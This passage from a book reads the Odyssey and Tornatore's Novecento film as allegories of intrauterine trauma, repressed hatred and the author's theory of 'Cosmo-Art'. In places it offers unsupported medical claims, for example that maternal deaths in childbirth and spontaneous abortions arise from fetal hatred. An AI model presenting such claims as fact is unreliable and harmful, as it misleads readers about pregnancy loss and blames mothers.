so says Ulysses to himself when he sees that his maidservants have become lovers of the Suitors and “his heart howled inside of him” (Od. XX, 13) . In Polyphemus’ cave, Ulysses’ first reaction (that arises from his reactive unconscious) is to take out his sword and strike Polyphemus to kill him. But his inner wisdom (that comes from his Personal SELF) immediately rises up and shows him that it would not be in his best interests to kill the monster, who, upon entering the cave, had rolled a huge boulder across the entrance that not even one hundred of his men could move. If Ulysses kills Polyphemus, it would mean that he and his companions would die inside the cave because no one could save them. It is better that he calm his rage, regain his composure and use his creative power to find a better solution. If while still in the uterus the fetal I responds to the monster mother with anger and hatred, the fetus, not the mother, will die. It is better to react with defense mechanisms and put off any possible vendetta into the future. For example at the time of birth, where many mothers die of complications that are created, in my opinion, by the baby’s need to vindicate itself. The baby presents wrongly at the uterine opening and thus destroys the mother. Another even better example is when life circumstances replicate the trauma experienced in utero, and the reactive response of the traumatized person can end up as homicide. In Polyphemus’ cave, Ulysses decides (the decisional unconscious and the deep decisional I Person) to put his rage aside. He chooses not to get revenge and to use a different strategy. First, he gets the Cyclops drunk with excellent wine and then he blinds him in his only eye with a well-sharpened pole. They then escape from the cave by hiding under the bellies of the sheep (Od. IX, 215-565). In the cave, Ulysses placates his rage but not his hatred. He only represses it. His repressed hatred re-emerges when Poseidon attacks Ulysses by setting off a violent storm when he is close to the island of the Phaeacians. By following the wise council that Athena whispers to him from within (blue eyed Athena inspired his heart: Od. V, 427), Ulysses manages to make a first step beyond his hatred and his wounded pride by praying to the river god, who answers his prayer and saves him from sure death. During his voyage by land, he arrives at the center of his being, and there he will manage to completely untangle his hatred and reach an ability to forgive. Each one of us has our own cave of Polyphemus, and we either end up there blindly, or we are led by the wisdom of the SELF. This is how we can learn to understand our past, our reactions and the healthy and unhealthy decisions we made at that time. However, just as we were the ones (our I Persons) who made those decisions at that time (decisions that are always either based on love or hatred), we now can
58
listen to our inner wisdom, recognize those past decisions for what they are, and by changing them, we can forge a new identity. Our past decisions make up our destiny; our new decisions transform our lives into a work of art that destroys the destiny we had previously created for ourselves.
******
59
CHAPTER XIV
THE LABYRINTH OF THE DEVOURING MOTHER
It won’t be enough for Ulysses to encounter the devouring mother just once. With Polyphemus, Ulysses relived only a part of his rage and hatred and he still has a lot to work through and a lot of pain he must process. It will take many other encounters and new levels of processing. Ulysses’ journey by sea unwinds like a labyrinth that twists and turns from east to west and from north to south. At almost every turn of this labyrinth waits a monster that wants to devour Ulysses and his companions. The anthropophagous Laestrygonians destroy eleven of Ulysses’ twelve ships (Od. X, 80-132) Scylla is a monster with six heads and twelve legs: it is right in front of Charybdis and it devours six of Ulysses’ companions in one gulp. (Od. XII, 223259) The enchantress Circe transforms men into swine (Od. X, 239) and Calypso (Od.V, 28-277) would have never let Ulysses leave her island at the edge of the world if Zeus hadn’t intervened on his behalf. Finally, the Suitors devour Ulysses’ riches, threaten his wife Penelope and wait for him to return so they can kill him. (Od. XIV-XXII) It is important to understand how each of these passages is indispensable so that we go back into the abyss of our trauma and free ourselves of the danger it represents. In this manner, we can recover our best energies that can help us transform ourselves, learn how to find lost beauty, and create secondary beauty. When we heal our intrauterine experience, we can recover the beauty of life; if we recover all our energy, we can face pain and death and transform them into a door towards a life that is a source of immortal beauty. We must understand how Ulysses works to create secondary beauty. The decision to actively face his intrauterine trauma and to transform this dark part of himself is a substantial part of this effort. Ulysses is the man of many woes, as Homer calls him many times (and again I repeat, he says it 59 times), because by deciding to re-enter his trauma he is overtaken by the anguish of death that plagues the human dimension. By facing
60
this immense pain, he is able to capture all the energy it contains and use it towards the creation of a type of beauty that can be called immortal because it has met and overcome death. Those who go back to their trauma, also touch the infinite rage and hatred that it provoked in them, which their fetal I had immediately repressed and denied. Repression and denial often return to the surface during adult life and when it does, the rage beneath must be placated with wisdom, and the hatred must be calmed with forgiveness. Otherwise, if both remain intact, they consume our best energies because we must either use them to maintain exhausting defense mechanisms that keep us from sudden explosions of rage and hatred, or to repeatedly attack ourselves, others and life (see Novecento, the protagonist in Tornatore’s film “The legend of the pianist on the ocean”, who chooses to blow up with the ship, and my Cosmo-Artistic interpretation of this movie in “La nascita della Cosmo-Art” {The birth of Cosmo-Art} p. 303-312 which is partially reprinted in the next chapter). From this paper I am going to first extract a page that can be useful in understanding how repressed hatred forms, and how defense mechanisms are created. “The fetal I is extremely sensitive. Any maternal attitude that is not respectful of the child and its personal dignity, or of its megalomanic expectations, wound it deeply. The crime of lèse-majesté does not originate in the king’s palace, it happens in the uterus. It has two principal components: on one hand there is the omnipotence of the fetal I and on the other there is the fetus’ extreme fragility and powerlessness. Its omnipotence feeds its pride and its powerlessness feeds its hatred and vengefulness. I believe that the Bible story of the expulsion from earthly paradise is actually talking about this crime. The uterus is the earthly paradise that is, however, short-lived, not because Adam eats the apple, but because the mother mortally wounds her daughter or son. We must not forget that for millennia mothers have believed they have the right to make life and death decisions regarding their children. Every mother believes she can do to her children whatever she wants. Ulysses’ mother is possessive and absent, devouring and castrating. The only time Ulysses strays away from Ithaca, when he is an adolescent, a boar attacks him and rips open his thigh. Is this a coincidence? Then, when he is trying to return from Troy, how many monsters try to devour him? Oedipus’ mother is a mother who seduces her son and manipulates him to satisfy her own needs. Novecento’s mother is no doubt irresponsible and absent.
61
When trauma strikes the fetal I, pain invades the I like a storm on the sea. The fetal I cannot handle the devastating force of this pain; it must repress and encapsulate it somewhere. If it is capable of doing so it can survive, otherwise it is overwhelmed and dies. During adult life, the pain returns with extreme intensity and if the adult I Person is prepared to face it manages to work through it: otherwise, it goes crazy or dies. If, during intrauterine life repression and separation from pain are successful, another problem becomes quickly evident: infinite rage and limitless hatred immediately rise up and squash the fetal I. Again, the only solution is to deny or repress this hatred. If the fetal I succeeds in doing so, it again can save its biological life, if not, death will occur (this is called spontaneous abortion). Intracosmic life is the space where past trauma is recreated and where repressed and denied pain return in full force. What seems to us to be a catastrophe is, instead, quite often a quite fortunate event for us, because it allows us to find a new solution for our pain and repressed hatred. This time it can be a solution no longer based on defense mechanisms and it no longer has to force us to use our best energies simply to keep our hatred under control. The second opportunity is when, after having recovered our best energies, we can now decide to use our pain as a potent motor to help us create something immortal – secondary beauty – instead of using it to continue to feel we are victims. We must also consider that repression is never one hundred per cent successful and so the unconscious vindictive drive is always present. It remains undisturbed in the shadows and it poisons our existence. Not only are we unable to recognize its presence, but we often tend to justify it with thousands of various rationalizations. Worse yet, no matter what, we live like Novecento, seated on a case of dynamite and we run the risk of blowing up without warning if we do not learn to recognize repressed hatred and find a way to resolve it. We are always ready to complain indignantly that others’ hatred offends us, but we never see our own. If we only could only understand that behind others’ hatred lies our own hatred, which we act out by delegating it, we would have another precious tool to help us see what otherwise almost always remains invisible. The difference between Ulysses on one hand and Oedipus and Novecento on the other lies in the fact that the latter act only on their wounded pride and their defense mechanisms; Ulysses instead is patient, humble and wise and thus he can face his troubled odyssey, go through the pain, resolve his hatred through forgiveness and finally reach Ithaca” (see A.M. La nascita della Cosmo-Art”{ The Birth of Cosmo-Art}, Published by Sophia University of Rome, 2000, pp.311-312).
62
CHAPTER XV
REPRESSED HATRED, AN UNEXPLORED REALITY “The legend of the pianist on the ocean” Film by Giuseppe Tornatore
The following pages are from the commentary that I wrote inspired by this film, which was adapted from the book “Novecento” by A. Baricco. I believe they can be useful in exploring even more in depth the problem of repressed hatred and the goal of Cosmo-Art. “This film, which is sumptuous and fascinating in many ways, has been deemed senseless by some critics and to me it lacks a soul. To understand it in Cosmo-Artistic terms, the metaphors that can help us are: The ship as a uterus. The uterus as the sea. The ship as life within the uterus of the sea. The dynamite used to blow up the ship as repressed hatred that can blow up our lives. The ocean as the universe that we are navigating. But where are we going? Since the beginning of the nineteen hundreds { novecento in Italian means nine hundred and refers to the century t.n.} it has become ever more common that the uterus we are born from is traumatizing rather than paradisiacal. Rejection, abandonment and repressed hatred have become our daily bread, and we must constantly live in the infernal chaos of the engine rooms rather than in the first class dance halls. Is there a way, an art, that can help us go from the engine rooms to the dance halls? Moreover, is there a way to disengage the dynamite of our repressed hatred so we don’t blow up with the ship? Existential Personalistic Anthropology and Cosmo-Art offer an affirmative answer to these questions. The art is in knowing how to create secondary beauty, that is the synthesis of many opposites and it is, above all, a synthesis of intrauterine life with intracosmic life. It is extraordinary to see how the internal monsters we encountered during intrauterine life are perfectly reproduced in intracosmic life. This reproduction is
63
the result of our inner power, whose roots lie in the repressed hatred we developed during intrauterine life. It is there that our wounded pride, our will to power and our need for revenge all bond together and form a single unit that will constantly determine our lives, up until the time when our purpose of creating secondary beauty comes to save us. This purpose is the only thing that is strong enough to uproot pride and vindictiveness. The director of this movie obviously is not aware of Cosmo-Art and he knows nothing about how intrauterine and intracosmic life can be woven together to plan a way to pass from one universe to the next. This is why the solution he finds is only partial and remains inadequate. Novecento the pianist manages to improve his life with the art of music and to move up to first class, but at the end, he decides to blow up with the ship. All of the beauty that he has created through the years as a pianist ends up going up with him. How much can art alone solve in a person’s life? And how much can the love we receive help us, if we do not free ourselves of the ancient hatred we carry within ourselves? This story reminds me of the story of Oedipus, another child who was abandoned as a baby and who spends over twenty years of his life surrounded by much love and happiness in Corinth. But as soon as he leaves Corinth and arrives in Thebes, his life becomes a tragedy. Is this due to fate? No, we know well that this was due to the hatred he had repressed since his intrauterine life and that neither the oracle nor the most intelligent Oedipus nor Teireisias were able to resolve. His tragedy ended up being inevitable. In the same way, for Danny Boodmann T.D. Lemon Novecento, his art and his exceptional talent, all the love he received from Thanks Danny, from the captain of the ship and the whole crew who had adopted him as their own son, ended up being worthless for him. The hatred he held inside was much greater than all the love he received, and in the end, it prevailed over all. Cosmo-Art asserts that one person alone cannot create secondary beauty; it is always the result of the action of a group. It also asserts, as does Personalistic Anthropology, that if repressed hatred, and the need for revenge that goes along with it, is not dealt with and solved, no one can create any type of beauty that lasts. There is a type of beauty that can be created by solitary artists, but it is only immortal within the time-space dimension of this universe. Novecento is loved and admired inside the ship but outside of it, he is completely unknown. The ship, with all of the music inside of it, is like the type of beauty found within this universe, but outside this universe, it is as if it doesn’t even exist. Secondary beauty proposed by Cosmo-Art is different. It aspires to a type of immortality that is capable of going from one universe to the next, and only many artists who come together and form a single living organism can created it. This group creates an energy field that is so unique and powerful that it completely frees itself from the universal gravitational field.
64
On Tornatore’s ship, there are the rich who travel to overcome their boredom and there are the poor who journey to the new world, a world where they can improve their lives. A great HOPE and a great desire to take action drive them. They want to get rich and to enrich Life. America was the hope of the nineteen hundreds. And today? Europe has become the hope of the poor from the third world, but what hope do the Europeans have? From what I can see, there is no hope at all concerning intrauterine life and to intracosmic and ultracosmic life. Nocevento the pianist refuses to get off the ship that has become old and decrepit; he prefers to blow up with it. He has no more hope. In an interview, the director said that Novecento has to choose between his love for a woman and love for his music, and he chooses his music and for this reason, he does not get off the ship. I think that Novecento rejects life because he was rejected and he abandons life because he himself had been abandoned in a cardboard box. I think the cardboard box became a steel box, which was the ship, and Novecento’s vindictive drive consists in never leaving the latter, since he was abandoned in the former. This is why he starts coming down the stairs leading to land but then turns around and goes back. He of course is unaware of what he is doing, but what he says regarding his decision is very important. “It’s not what I saw, but what I didn’t see that made me go back” says Novecento to his friend Max. Exactly. Moreover, he did not see what he should have seen: his repressed hatred and his drive to get revenge. I believe that the uterus of a mother who does not want to have a child becomes worse than a cardboard box for the fetal I, and the fetal I can hardly wait to destroy its mother and itself along with her. I believe that Novecento identified the ship with his mother’s womb, and he is happy to blow it up, even though he will blow up along with it. Haven’t we done the same thing, by inventing the atomic bomb and holding on to thousands of nuclear warheads in all different parts of the world? There is a strong temptation to use them, and this temptation is what the nineteen hundreds will bequeath to future generations. The existence of many human beings is also ridden with mini atomic bombs, which continuously explode. Not only does the artist in the movie not get off the boat, he won’t let his music get off either. He makes only one record, and he won’t allow anyone to listen to it; he would like to give it to the girl who inspired the music in him, but he is unable to do it, and even worse, instead of sending it to her by mail he smashes it into a million pieces and throws it in the garbage. If this isn’t hatred, I don’t know what is! But this is repressed hatred, and how many are capable of contacting it and recognizing it? Repressed hatred is like dynamite. It is only a question of time. For a while, even for twenty years or more, it stays completely still like a crouching beast, but
65
at some point comes the day when a secret timer goes off and quickly counts down, and everything is blown to bits. I don’t like the fact that Novecento’s music remains a gift only for a select few and not for all of humanity. Just think what would have happened if J.S. Bach had destroyed his musical masterpieces! (During the year of writing this, we are celebrating 250 years after his death, as he was born in Eisenach on March 21, 1685 and died in Leipzig, July 28, 1750). Unfortunately, for Novecento his music is only the covering of a new womb that he hides inside of so he can avoid his pain and hatred and refuse to grow up and become a man. This way when the ship dies he dies along with it. His friend, who tries to convince him to save himself and create a new life, cannot comprehend his response. What he says is that there is too much land and that he would not know how to handle it or how to transform it into music. What? Isn’t the sea he has been sailing on greater than land? Maybe he can see its edges when he looks at it out of the portholes in the hold where he is hiding? Is this why he doesn’t come out of the hold and doesn’t go to play his music in the first and third class halls? These inconsistencies mask the presence of an unconscious drive for revenge. His life has never left the cocoon of his narcissistic I, whose pride was mortally wounded. Because of this I, his life will end with him, and he will fail to fulfill the purpose he was to accomplish with it. Life has been given to us not to go from one port to the next, back and forth like work animals, but to navigate from one universe to the next and from one invention to the next, until this higher purpose has not been accomplished. When this universe will either explode or implode, it is still too early to tell which hypothesis will be correct; Life does not want to die along with it. It wants to become immortal and navigate towards another universe, and after that towards another one, into eternity. Life does not want ferrymen like Charon or even like Beatrice. It wants creators and inventors that are capable of transforming the impossible and making it possible, by creating a type of beauty that neither time nor death can ever destroy. It wants inventors that know how to create a synthesis between life and death and that know how to extract a new life form from that synthesis that no longer must experience death. Life wants inventors that know how to get to the port of secondary beauty after leaving the port of primary beauty. It wants artists that are different from the artists of the past. The artists of the past knew how to create an initial transformation from primary to secondary beauty, and in doing so, they opened the door to a dimension that was previously unknown in the world. Nevertheless, this transformation is not enough so that Life can go from one universe to another.
66
Another type of art is necessary, and maybe Cosmo-Art is the right kind, that can help us achieve the goal, dreamed of for millennia, of Life’s immortality. We are not talking about the immortality of the global I, nor of the soul’s immortality as invented by Socrates and Plato, where the body is only a prison that we must free ourselves of. The I as we know it must die, not just once but many times. From its life and death experienced through its connection with its body, a field of energy must be formed that is so powerful that it can overcome universal gravity, the limitations of biological life and those of cultural and spiritual life. The global I must die so the I of the artist can leave the body and incarnate in the immortal work of art. It is the work of art, then, that becomes its body, and it is no longer mortal. My I must die and incarnate in the central nucleus of secondary beauty, by flowing together with the I’s of others. In this manner, the energy field that has reached a new identity and a new substance while being created can freely expand into parallel and concentric universes, without having to die. And so Life that was before eternal but was not immortal (eternal, because it has always existed and created billions and billions of life forms, but not immortal , because all of these life forms are mortal and they all must pass through death so they can perpetuate themselves into other forms of life) now can become both eternal and immortal. This is its dream and its goal and it always has been, and it will not find peace until it has reached it. .... “the myth of Cosmo-Art comes from the dream that Life carries within itself. This dream is what the myth of Cosmo-Art wants to transform into reality. Beauty, of the kind that artists have created throughout the history of art, is immortal within the time-space dimension of this universe, but it will never be able to pass into the time-space dimension of other universes. Every work of art has a spiritual soul that is connected to a material support, and every material support will perish when this universe does. In any case, and this is what is most important here, artistic beauty does not have the power to untangle anyone’s repressed hatred. There is no doubt that works of art contain energy, just as ideas contain energy, but they are two different types of energy that are completely different from each other. No one has yet studied what the energy consists of that emanates from a work of art. It is an energy that never runs out. Today we know that an atom’s energy contains terrible power, and we know that this energy burns out at some point. However, we do not know everything yet. Tomorrow we could find out how much destructive power the human I is capable of and how great the destructive energy is that is condensed in repressed hatred.
67
One day, we could also end up understanding the energy contained in the I of an artist, and also the energy that can be concentrated in the Choral SELF of Cosmo-Art, or in any other group. We just might become capable of learning exactly what this energy is, that condenses in secondary beauty and never runs out. It does not matter if we are only at the very first steps of this new art. What does matter is that we cultivate the myth of Cosmo-Art by condensing all the energy we have in it, even though we are not yet fully aware of exactly what it is that we are dealing with. .......................... In the movie, the emigrants have hope but the pianist has none at all. How can someone watching this movie, who is looking for hope, identify with the pianist if he or she does not want to identify with the emigrants? If you reflect closely on this you will realize that Tornatore’s pianist is full of a pessimism and a cynicism that is completely in contrast with the hope of the poor who are crossing the ocean to build their lives in a new world. There is a death wish in the pianist that the others do not have. The pianist is full of creativity but it dissolves into nothingness, whereas the others’ creativity is not stopped by any obstacle. These immigrants, whom today have become the capitalists of the New Economy, have given rise to the next evolutionary phase of the human species. We would be blind not to see it. But as far as I am concerned, being a European who has not emigrated, I would like that yet another evolutionary phase could emerge from our Europe that is mostly de-Christianized, but is still full of infinite potential:, a phase that involves a new way of creating art and a new way of creating secondary beauty. This is why we Cosmo-Artists want to leave the womb. We want to be born and we want to become artists of our lives and artists of the life of the universe. We do not want to remain stuck within the womb nor do we want to blow up with the ship, like Novecento. However, it is indispensable that we learn how to process our repressed hatred that is what mostly keeps us bound to it. Just as gravity keeps all the celestial bodies in orbit around each other, repressed hatred is the gravitational field that keeps people bound to the maternal womb for much longer than even love can bind them. The Ulysseans have chosen Ulysses as a model, and Ulysses did not stay long in the cave of Polyphemus or in the cave of Circe or Calypso. Ulysses sailed all over the sea but he learned to process his repressed hatred by making it become manifest and by facing all the monsters that he met during
68
his journey. He forgave Helen and he saved her life; he forgave Circe and Calypso; he forgave his companions and he forgave Penelope, with her heart of stone. But whom did Novecento forgive? Did he ever try to find his mother? He did everything on his own, just like he learned to play the piano on his own. What does he need the others for? He is an Absolute. We do not want to smash the beauty that life has given us into pieces, as he does. We want to create a new type of beauty with which we can travel from one universe to another and not just from one port to another. Is it easy to do so? No, it is extremely difficult. It is even impossible for a mind that reasons only technologically. It is not impossible for a visionary mind like the ones that artists and poets had in the past. We cannot take as role models the artists of today, because they have mostly decided to smash already existing beauty, since they are incapable of creating beauty that does not yet exist. We must also change the scene of the musical duel that takes place between Novecento and Jelly Roll Morton, which seems like a fight to the death between Far West gunslingers. The pianist’s cynicism appears clearly during this duel. He tells his friend Max Tooney that Morton is very good, that his music is moving and he does not want to compete with him. Then, he suddenly changes his mind and becomes absolutely heartless. At the third round, he humiliates him; he pounds him into the ground and destroys him in front of all those who had so admired him. Morton locks himself up in his cabin and doesn’t come out again. It does not take much talent to kill others. However, it takes a lot of it to build harmony with others, to form a single living organism. This is a more difficult work of art to create, and very few know how to do it. We must concentrate our talents and our energies on this type of art if we want to introduce something truly new to the world. Life must not be a duel to the death and for death. Death and life must blend so that a superior life form can emerge from this synthesis. When, in October of 1994, a bullet killed the little seven-year-old American Nicholas Green while he was traveling with his family in Italy, a potent vibration of new energy and new life shook the whole planet. After this tragedy, organ donation accelerated throughout all the continents, saving thousands of human lives (see Reg Green, “The Gift that Heals: Stories of Hope, Renewal and Transformation”). Here death and life melded together and a new world consciousness arose that unites thousands of people of every race and every country throughout the planet.
69
In the immense pain of two parents, life and death met and fused together, and from this fusion new hope and a new vision were created that everyone could benefit from. They did not react by being victims; they expressed neither hatred nor any need for revenge. They expressed life as a gift and life as a work of art. I wish I could say the same thing for our lives. It all depends on us. Every day life puts us to the test and we can learn how to live with gratitude and art, instead of with anger and violence. In the meantime, let’s develop our imagination and learn to create our own legend and our own myth. Let’s change the storyline in this movie: it is not true, as the director says, that it’s a nice story; it’s a horrible story. We want to leave the womb and we want to step on to land. No bird can ever fly if it doesn’t have feet and cannot stand somewhere on land. We don’t just want to be born, we want to learn to fly like birds, and even better than the birds. In this book, I have put the spirit and the matter of Tornatore’s story together so they begin to macerate: now you can resurrect them by transforming them. Through the passion and the death of matter, the spirit goes through passion and death as well, and when the spirit rises up again transformed, matter, too, rises up transformed. This dual process is present in every authentic work of art and it presides over the creation of any real work of art. Sometimes this happens in a visible manner, but it more often happens in an invisible way, above all for those who know nothing of the artist’s toil and labour. In J.S. Bach’s “Passion according to Matthew”, an appreciative listener can perceive and intuitively understand the process as a whole as well as all the single steps of the process. If one is in love with this music the process becomes visible. When you receive this booklet, get to work on creating a new storyline for the film. The Cosmo-Art group is already working on one, but during the laboratory, you can all create one together”. (see A.M. “La nascita della Cosmo-Art” {The Birth of Cosmo-Art}, Published by The Sophia University of Rome, (S.U.R.) 2000, pp.303-312) I will return to discuss further repressed hatred and how oppressive its presence is in Ulysses’ life. *****
70
CHAPTER XVI
CIRCE, CALYPSO AND IMMORTALITY
Both the enchantress Circe and the nymph Calypso, two of the goddesses that fall in love with Ulysses, promise they will make him immortal if he marries them. Ulysses, however, refuses to obtain immortality in this way. This makes of him an unprecedented hero in the Greek world; he becomes a hero who is equaled by none and who is unlike any other hero in world literature. Ulysses says to Calypso: I know you are immensely more beautiful than Penelope, but I know that I can create a higher form of beauty if I manage to transform Penelope’s “heart of stone” so she can become a woman capable of loving a man for her whole life, capable of melding her feminine side with her masculine one, capable of combining her will with mine, capable of blending the will of the I with that of the Other in a single will. If I can do this, I can create secondary beauty, immortal beauty. In this answer Ulysses puts two different conceptions of beauty in front of each other: one refers to physical beauty, which Calypso has more of compared to Penelope; the other refers to a beauty that does not yet exist but that Ulysses wants to create by returning to Ithaca and initiating a fusion of opposites between himself and Penelope. This answer also contains the deep choice Ulysses is making towards Penelope as his wife and the radical decision to embrace the cosmic goal of creating secondary beauty together with her. This choice is so radical that after Calypso tells him of the pain he will still have to undergo should he decide to leave: But if only you knew how much suffering awaits you, before you reach your homeland, staying here with me, you could share my home and become immortal, even though you are so anxious to see your bride again, whom you call out for every day.” (Od. V, 206-210) Ulysses responds: If still some one of the gods will wish to torment me on the stormy sea, I will tolerate it, because my heart is used to suffering. I have suffered immensely, I have faced many dangers between the waves and in war: after all that, may this come to pass as well!” (Od. V. 221-224)
71
It does not matter to Ulysses how much he will have to suffer so he can see his long-desired spouse. His is a heart that is used to suffering and even though he has faced many dangers, he is willing to face yet others, but he will not give up his project. How many people can say as much? Who wouldn’t be afraid to have to suffer again, knowing how much they have already suffered in the past? During his long stay on Calypso’s island, Ulysses has plenty of time to meditate and reflect on the meaning of life. He carefully recalls his descent into Hades, which was possible because of Circe’s indispensable help, and he understands the illusion that devours those who run after power and glory. This is where Ulysses understands the meaning of the Universe, and the cosmic project that it entrusts to men and women. Some of the words that I earlier attributed to Ulysses are not the exact words Homer uses. It is I who describe them in this way because I am convinced, after long reflection, that Ulysses’ strategy to become immortal is as follows: after having accomplished the fusion between the I and the SELF (Ulysses and Athena), he wants to accomplish the fusion between the I and a You, even when the You represented by Penelope strongly resists. She, in fact, does not want to make any decisions to recognize and love Ulysses, as she is still attached to her childhood, her expectations, and the maternal element that devours her life (the Suitors). Ulysses falls madly in love with Circe and stays in her house one year, and he stays with Calypso for seven years, making love with her the whole time. During the last years, though, Ulysses makes love with the goddess in her bed at night, where by day he sits on the seashore and cries the whole time because he is not free to continue his voyage home to Ithaca. This had not happened with Circe. There on the island he lies, suffering great pain, in the home of the nymph Calypso, who keeps him there by force. (Od. V, 13-15) But generous Odysseus was not to be found inside (by Hermes); he was sitting on the promontory, crying, just like always, with tears, moans and suffering lacerating his heart, and he looked tiredly at the sea, letting his tears fall. (Od. V, 81-84)
72
No primary beauty, not even if of divine origin, can satiate a person’s heart. We will always feel an internal torment that will push us to find a superior beauty that we can create ourselves. *****
73
CHAPTER XVII
THE SIRENS AND INTRAUTERINE INCEST
Is there another reason why Ulysses must spend so much time with Calypso? Yes. This, too, is the return of a past experience that we will call “intrauterine incest” (see Francesco Sollai, Cosmo-Artistic interpretation of the film “The Shawshank Redemption” in “La nascita della Cosmo-Art” {The Birth of CosmoArt}). This is the most terrible weapon a mother uses to seduce her son and take over his life forever. Unfortunately, the son allows himself to be seduced with great pleasure and a great sense of complicity. The same thing happens to daughters, and director Jane Campion, in her film “The Piano”, gives us a beautiful demonstration of this (see the Sophiartistic interpretation of this film in A.M. “La vita come opera d’arte e la vita come dono spiegata in 41 film”{Life as a Work of Art and Life as a Gift explained in 41 films} , Published by Sophia University of Rome, (S.U.R.) Rome, 1995). When in the proem Athena begs Zeus to free Ulysses from Calypso, she describes the nymph’s actions as follows: and always with tender, seductive words she enchants him, so he will forget Ithaca (Od. I, 56-57) Before a child encounters the devouring mother, he encounters the seductive mother and the castrating mother. The Junghian analyst E. Neuman introduced the concept of the devouring mother, and the Freudian analyst Fairbairn introduced the concepts of the seductive mother and the castrating mother. In the Odyssey, the enchantress Circe, Calypso and the Sirens are all representations of this mother that first seduces and then castrates her son. Ulysses, though, knows how to defend himself from Circe and from the Sirens and knows how to transform both Circe and Calypso so they act in his favor. Circe, whom Ulysses manages to tame, gives him all the esoteric knowledge that she possesses and she shows him the way to go in to Hades and meet the soothsayer Teiresias, and get out again. Then she warns him of the Sirens and tells him the best way to face Scylla and Charybdis. Calypso, when she finally decides to let Ulysses go, first teaches him how to build himself a raft and then, even more importantly, she teaches him the art of sailing by night and how to use the stars as a guide.
74
(see A.M. “Rules for Nocturnal Navigation”, chapter XIV of The Ulysseans, published by the Sophia University of Rome, 2009) Inside the uterus, a fetus has very few ways of being able to defend itself from its mother. She is its primary love object, its absolute love object, that does not yet have a face but that most certainly has a sweet voice, much sweeter than even the Sirens’ voices. The child remains charmed by it and entrapped forever. The song she sings is clearly one without words, just as the Sirens’ song is one without words. It makes no sense to try to understand what the Sirens are singing, as many have done from ancient times until today. Only the laws of biological growth manage to detach the child from its love object and send it off to the neck of the uterus so it can be born. Very often, however, these births are completed only on a physiological level, because the fetal I that continues to survive well into adulthood is still in the womb, fused and enmeshed with its primary love object. The adult I will have to face terrible battles so it can emerge and be born, and conquer the freedom to detach from its primary love object and turn to another love object that is truly different from the first, not merely a substitute for it. We can often conquer this freedom by surrendering to the need to return to the womb through regression, and deciding to re-live the original experience registered in our cellular memory and in our fetal I, by projecting it on substitute maternal figures. By actively reliving this archaic experience, the adult I can find the freedom and the strength it needs to definitively detach from its first love object and from its incestuous relationship with the mother. This is the only way one can truly love another person. A mother who does not want her son to be free will try to castrate him. Either she will not give herself to him completely, or she will hold on to her power of life or death over him. One of the most effective ways a mother can castrate her children is by taking possession of their lives. When Ulysses follows the god Hermes’ advice and goes into Circe’s house, he threatens her with his sword and makes her solemnly swear that she will no longer dare cast spells either on himself, or on his companions. (Od. X, 321-347) In the passage from the pre-Oedipal phase to the Oedipal phase, the power relationship between mother and son is reversed, if the Global I decides to make the passage. First of all, the mother possesses her son, then the son possesses his mother. Homer says that this is possible with the help of Hermes and of the moly herb, that only the gods are able to extract from the earth.
75
What do this god and the moly herb symbolize? They most certainly represent the decision to grow up and the type of courage that one needs to be able to do so. And while I was walking through the sacred valleys of Circe who knows many potions, I was about to reach her palace, when Hermes with his golden wand came to me, while I was reaching the house, he seemed like a young hero, whose first beard is sprouting in all his youthful beauty. He took my hand and spoke to me, saying: “Where are you going among these hills all alone, without knowing the area? Your companions are in Circe’s house locked up as swine in solid stalls. And you have come to free them? I tell you that you will not return either, but you’ll be captured with the others. Here, I want to keep you free and save you from danger. Take this good herb and go into Circe’s house; its power will save you from harm. I will also tell you of all of Circe’s evil spells. She will make a mixture and put poison in it; but she won’t be able to cast a spell on you, the herb I am about to give you will protect you, and now listen to me: when Circe will strike you with her long wand, unsheath your sharp sword and jump on Circe as if you want to kill her: frightened, she will invite you to her bed. So don’t reject the love of a goddess, because she will liberate your companions and will let you go; while with her tell her to make a solemn oath, that she will not cast any evil spell on you or make you weak and powerless while you are naked and vulnerable. (Od. X, 275-301) Having taken away the power of life and death from the mother, now Ulysses can fully enjoy the possession of his love object, and when it is time, he will be able to easily detach himself from her and grow up in complete freedom. The same thing happens when he re-lives his intrauterine incest with Calypso the nymph. He gives himself all the time he needs. When he is ready to detach himself, the god Hermes arrives and helps Ulysses save himself. Hermes’ appearance, which is Athena asks for and then Zeus orders, is only a symbol of the profound transformation that Ulysses goes through inside himself, with the help of the Personal SELF and the Cosmic SELF. Many women make their men become “weak and impotent”, either by being seductive or by stubbornly going against them, and fighting them with all the weapons they possess.
76
It is not necessary to run into Circe to be reduced to swine, lions, wolves and the other animals that are all powerless, and stuck in the goddess’ house. (Od. X, 431-433) These are every day occurrences, because often men remain imprisoned by their maternal imago that makes them weak and impotent. Nor do they care about learning to contact their Personal SELF and their Cosmic SELF. We have used two different ways of interpreting the same event: the love story between Ulysses and Circe and the one between Ulysses and Calypso. The first interpretation: no primary beauty can truly satisfy a man. The second: it is possible to satisfy a need that was not fulfilled during intrauterine life, and continue the journey towards maturity later on. Both are essential in understanding our deepest truths, which have two levels of depth and not just one. The second interpretation helps us reconquer lost beauty and the first helps push us towards the goal of secondary beauty. *****
77
CHAPTER XVIII
ULYSSES AND THE IMPACT WITH SCYLLA The impact with Scylla comes unexpectedly and it only lasts a few seconds. Circe had warned Ulysses what would happen, and she had advised him not to use his sword, because it would have been useless. Ulysses did not listen to any of Circe’s warnings, even though he knew the goddess was telling him the truth and he had already had proof of this in his encounter with the Sirens. I believe that those who have an arrogant heart, and Ulysses is still full of hybris, will often find themselves in situations that are similar to the one Ulysses faces. Situations that are either difficult to handle or that are handled irresponsibly. Oedipus, too, has an arrogant heart and when he learns his future from the oracle, he acts like a fool who thinks he can solve his problems simply by leaving the house where his supposed parents live. Later, when he becomes king of Thebes and he meets Teireisias, he treats him with an attitude that belies his arrogant heart and he doesn’t listen to anyone. He doesn’t listen to Teireisias and he doesn’t listen to his mother Jocasta, who begs him not to insist on looking for the truth. Oedipus does not stop and the only thing Jocasta can do is to hang herself. So it is that Oedipus, with his excuse that he is looking for the truth, manages to carry out his vendetta, animated by his repressed hatred towards his mother who manipulated him all his life, from the time of his conception onward. The only way any of us can save ourselves from the kind of destructive behavior that leaps out of our unconscious when least we expect it, is to work constantly on transforming our arrogant heart into a humble heart. We cannot face this process unless we find a good teacher to help us go through it. If there are no good teachers available, we always have our SELF, our inner teacher. I have said this many times. Having received the terrible humiliation that Scylla inflicts on him, Ulysses can react in two ways: A) center himself on his SELF and on his inner wisdom and discover the positive aspects of what he has gone through. How can he do that? By being able to recognize his hybris and by asking his pride to bow its head and humbly accept its impotence. B) refuse 